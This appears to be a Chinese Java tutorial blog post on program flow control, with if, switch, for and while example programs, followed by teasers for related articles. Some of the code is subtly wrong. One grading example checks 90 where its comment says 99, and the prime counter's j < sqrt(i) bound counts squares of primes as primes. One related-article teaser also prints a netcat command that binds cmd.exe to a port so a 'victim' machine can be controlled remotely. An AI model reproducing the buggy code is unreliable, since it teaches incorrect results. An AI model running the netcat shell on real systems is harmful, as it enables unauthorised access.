【Java基础】基本语法-程序流程控制
基本语法-程序流程控制
程序流程控制
流程控制语句是用来控制程序中各语句执行顺序的语句,可以把语句组合成能完成一定功能的小逻辑模块。
其流程控制方式采用结构化程序设计中规定的三种基本流程结构,即:
- 顺序结构
- 分支结构
- 循环结构
顺序结构
Java中定义成员变量时采用合法的前向引用。如:
public class Test{
int num1 = 12;
int num2 = num1 + 2;
}
分支结构
package com.parzulpan.java.ch02;
import java.util.Scanner;
/**
* @author : parzulpan
* @time : 2020-11-16
* @attention : if语句例题1
* 岳小鹏参加Java考试,他和父亲岳不群达成承诺:
* 如果:
* 成绩为100分时,奖励一辆BMW;
* 成绩为(80,99]时,奖励一台iphone xs max;
* 当成绩为[60,80]时,奖励一个 iPad;
* 其它时,什么奖励也没有。
* 请从键盘输入岳小鹏的期末成绩,并加以判断。
*/
public class IfTest1 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.print("请从键盘输入岳小鹏的期末成绩:");
int score = scanner.nextInt(); // 从键盘输入一个整数
if(score == 100) {
System.out.println("奖励一辆BMW");
} else if(score <= 90 && score > 80) {
System.out.println("奖励一台iphone xs max");
} else if(score <= 80 && score >= 60) {
System.out.println("奖励一个 iPad");
} else {
System.out.println("什么奖励也没有");
}
}
}
package com.parzulpan.java.ch02;
import java.util.Scanner;
/**
* @author : parzulpan
* @time : 2020-11-16
* @attention : if语句例题2
* 假设你想开发一个玩彩票的游戏,程序随机地产生一个两位数的彩票,提示用户输入
* 一个两位数,然后按照下面的规则判定用户是否能赢。
* 1)如果用户输入的数匹配彩票的实际顺序,奖金10 000美元。
* 2)如果用户输入的所有数字匹配彩票的所有数字,但顺序不一致,奖金 3 000美元。
* 3)如果用户输入的一个数字仅满足顺序情况下匹配彩票的一个数字,奖金1 000美元。
* 4)如果用户输入的一个数字仅满足非顺序情况下匹配彩票的一个数字,奖金500美元。
* 5)如果用户输入的数字没有匹配任何一个数字,则彩票作废。
*/
public class IfTest2 {
public static void main(String[] args) {
int randomNumber = (int)(Math.random() * 90 + 10); // [0.0, 1.0) * 90 -> [0, 90) + 10 -> [10, 100) -> [10, 99]
System.out.print("请输入一个两位数:");
Scanner scanner = new Scanner(System.in);
int inputNumber = scanner.nextInt();
int randomNumberA = randomNumber / 10;
int randomNumberB = randomNumber % 10;
int inputNumberA = inputNumber / 10;
int inputNumberB = inputNumber % 10;
if (randomNumber == inputNumber) {
System.out.println("奖金 10 000 美元");
} else if (randomNumberA == inputNumberB && randomNumberB == inputNumberA) {
System.out.println("奖金 3 000 美元");
} else if (randomNumberA == inputNumberA || randomNumberB == inputNumberB) {
System.out.println("奖金 1 000 美元");
} else if (randomNumberA == inputNumberB || randomNumberB == inputNumberA) {
System.out.println("奖金 500 美元");
} else {
System.out.println("没中奖");
}
System.out.println("中奖号码是:" + randomNumber);
}
}
switch 语句有关规则:
- switch(表达式) 中表达式的值必须是下述几种类型之一:byte,short,char,int,枚举 (jdk 5.0),String (jdk 7.0);
- case 子句中的值必须是常量,不能是变量名或不确定的表达式值;
- 同一个 switch 语句,所有 case 子句中的常量值互不相同;
- break 语句用来在执行完一个 case 分支后使程序跳出 switch 语句块;如果没有 break,程序会顺序执行到 switch 结尾;
- default 子句是可任选的。同时,位置也是灵活的。当没有匹配的 case 时,执行 default。
package com.parzulpan.java.ch02;
import java.util.Scanner;
/**
* @author : parzulpan
* @time : 2020-11-16
* @attention : switch语句例题1
* 使用 switch 把小写类型的 char 型转为大写。只转换 a, b, c, d, e,其它的输出 “other”。
*/
public class SwitchTest1 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
String word = scanner.next();
char c = word.charAt(0);
switch (c) {
case 'a':
System.out.println('A');
break;
case 'b':
System.out.println('B');
break;
case 'c':
System.out.println('C');
break;
case 'd':
System.out.println('D');
break;
case 'e':
System.out.println('E');
break;
default:
System.out.println("other");
}
}
}
if 和 switch 的使用场景:
- 如果判断的具体数值不多,而且符合 byte、short 、char、int、String、枚举等几种类型。虽然两个语句都可以使用,建议使用 swtich 语句。因为效率稍高。
- 其他情况:对区间判断,对结果为 boolean 类型判断,使用 if,if 的使用范围更广。也就是说,使用 switch-case 的,都可以改写为 if-else。反之不成立。
循环结构
循环结构:在某些条件满足的情况下,反复执行特定代码的功能。
循环语句分类:
- for 循环
- while 循环
- do-while 循环
for 循环语法格式:
for (①初始化部分; ②循环条件部分; ④迭代部分){
③循环体部分;
}
package com.parzulpan.java.ch02;
/**
* @author : parzulpan
* @time : 2020-11-16
* @attention : for语句例题1
* 输入两个正整数 m 和 n,求其最大公约数和最小公倍数。
* 比如:12 和 20 的最大公约数是 4,最小公倍数是 60。
*/
public class ForTest1 {
public static void main(String[] args) {
int m = 12, n = 20;
int max = Math.max(m, n);
int min = Math.min(m, n);
for (int i = min; i >= 1; --i) {
if (m % i == 0 && n % i == 0) {
System.out.println("最大公约数:" + i);
break;
}
}
for (int i = max; i <= m * n; ++i) {
if (i % m == 0 && i % n == 0) {
System.out.println("最小公倍数:" + i);
break;
}
}
}
}
while 循环语法格式:
①初始化部分;
while(②循环条件部分){
③循环体部分;
④迭代部分;
}
练习和总结
实现九九乘法表?
package com.parzulpan.java.ch02;
/**
* @author : parzulpan
* @time : 2020-11-16
* @attention :
*/
public class NineTable {
public static void main(String[] args) {
for (int i = 1; i <= 9; ++i) {
for (int j = 1; j <= i; ++j) {
System.out.print(i + " * " + j + " = " + (i * j) + " ");
}
System.out.println();
}
}
}
实现 100000 以内的所有质数?
package com.parzulpan.java.ch02;
/**
* @author : parzulpan
* @time : 2020-11-16
* @attention : 质数:只能被 1 和它本身整除的自然数。
*/
public class GetPrimeNumber {
public static void main(String[] args) {
int primeNumberCnt = 0;
long start = System.currentTimeMillis();
for (int i = 2; i <= 100000; ++i) {
boolean isFlag = true;
for (int j = 2; j < Math.sqrt(i); ++j) { // 优化2:只对本身是质数的自然数是有效的
if(i % j == 0) {
isFlag = false;
break; // 优化1:只对本身是非质数的自然数是有效的
}
}
if (isFlag) {
++primeNumberCnt;
// System.out.println(i);
}
}
System.out.println("primeNumberCnt: " + primeNumberCnt);
long end = System.currentTimeMillis();
System.out.println(end-start);
}
}
【Java基础】基本语法-程序流程控制的更多相关文章
- Java基本语法--程序流程控制
流程控制语句是用来控制程序中各语句执行顺序的语句,可以把语句组合成能完成一定功能的小逻辑模块.流程控制方式采用结构化程序设计中规定的三种基本流程结构,即:顺序结构.分支结构.循环结构.本篇博客主要是对 ...
- java 基础one ---运算符and流程控制
首先java这个了解下java的基础 首先java文件都是以.java结尾的 然后 他所有的内容都是有一个入口的就是放在了public static void main(String [] args ...
- Java 基础 引用数据类型 和 流程控制
引用数据类型 与定义基本数据类型变量不同,引用数据类型的变量定义及复制有一个相对固定的步骤和格式: 数据类型 变量名 = new 数据类型(); 如:String st = new String(); ...
- Java语言中的程序流程控制
(1. 流程控制 有三种基本技术可以改变程序的控制流程: A.调用方法 :将导致控制流程离开当前方法,转移到被调用的方法. B.选择 : a. if / else 语句 b. switch语句 ...
- Java 基础(8)——流程控制
上次的运算符都消化好了吗?每一天都要用到一些哦~ 以前有提到过一嘴,程序执行都是从上到下执行的,emm,学到这里,感觉这句话是对的也是错的了…… 如果都是一行一行执行下去的话,上节课的例子: 今天不上 ...
- week_one-python基础 基本语法、流程控制
金角大王的紫金葫芦,python开发环境介绍链接:http://list.youku.com/albumlist/show/id_28961509.html # Author:larlly pytho ...
- 3、Java基础语法(下):程序流程控制
程序流程控制 从键盘获取不同类型的变量: 使用Scanner类,具体实现步骤: 1.导包:import java.util.Scanner; 2.Scanner的实例化:Scanner scan = ...
- Java基础-程序流程控制第一弹(分支结构/选择结构)
Java基础-程序流程控制第一弹(分支结构/选择结构) 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.if语句 1>.if语句的第一种格式 if(条件表达式){ 语句体: ...
- Java基础语法(4)-流程控制
title: Java基础语法(4)-流程控制 blog: CSDN data: Java学习路线及视频 1.程序流程控制 流程控制语句是用来控制程序中各语句执行顺序的语句,可以把语句组合成能完成一定 ...
随机推荐
- 为什么要有 Servlet ,什么是 Servlet 容器,什么是 Web 容器?
本文已收录至 https://github.com/yessimida/yes ,这里有我的所有文章分类汇总,欢迎 star! 以下代码相信大家都很熟悉,大学时学 Java Web 都写过这样的代码. ...
- TMOOC-1692-分西瓜
题目 描述 今天是阴历七月初五,首师大附中信息社团队员GDC的生日.GDC正在和SCX.WXY在首师大附中集训.他想给这两位兄弟买点什么庆祝生日,经过调查,GDC发现SCX和WXY都很喜欢吃西瓜,而且 ...
- Codeforces Edu Round 62 A-E
A. Detective Book 模拟题,有一些细节需要注意. #include <cstdio> #include <iostream> #include <cmat ...
- 【NOI2020】美食家(矩阵)
Description 给定一张有向图,\(n\) 个顶点,\(m\) 条边.第 \(i\) 条边从 \(u_i\) 到 \(v_i\),走完该边的用时为 \(w_i\).每一个点有一个价值 \(c\ ...
- Java安全之原生readObject方法解读
Java安全之原生readObject方法解读 0x00 前言 在上篇文章分析shiro中,遇到了Shiro重写了ObjectInputStream的resolveClass导致的一些基于Invoke ...
- ambari 修改kafka日志目录后,写入数据无法消费
## 起因:ambari 修改kafka日志目录后,写入数据无法消费 - 使用下面的客户端消费命令可以消费到数据 ./kafka-console-consumer.sh --zookeeper 192 ...
- ThreadLocal使用总结
一.ThreadLocal基本使用 1.1使用场景 不同的线程对全局变量进行修改,使用ThreadLocal后会为每个线程创建一个副本,而不会影响其他线程的副本,确保了线程的安全 private st ...
- nc监控实现调用受害者cmd
正向连接 受害者 IP 是直接暴漏在公网的 或者你们同属于一个内网 受害者:nc.exe -vlp 1234 -e cmd.exe 攻击者 nc 192.168.1.1 1234 nc -lvvp 8 ...
- Gradle AndroidStudio内网离线构建配置踩坑记录
最近一家新公司,由于办公环境都是在内网机上,导致在Unity导出android工程后,gradle离线构建也是第一次搞,花了一天时间也踩了一些坑,最后也终于构建成功了,这里记录下,方便大家少走些弯路. ...
- Docker教程:使用Docker容器运行Nginx并实现反向代理
一.前言 我们知道,为了安全考虑,我们一般会设置反向代理,用来屏蔽应用程序真实的IP和端口号.在Linux系统上最常用的反向代理就是Nginx.本篇文章中,我们会通过Docker容器分别运行一个Ngi ...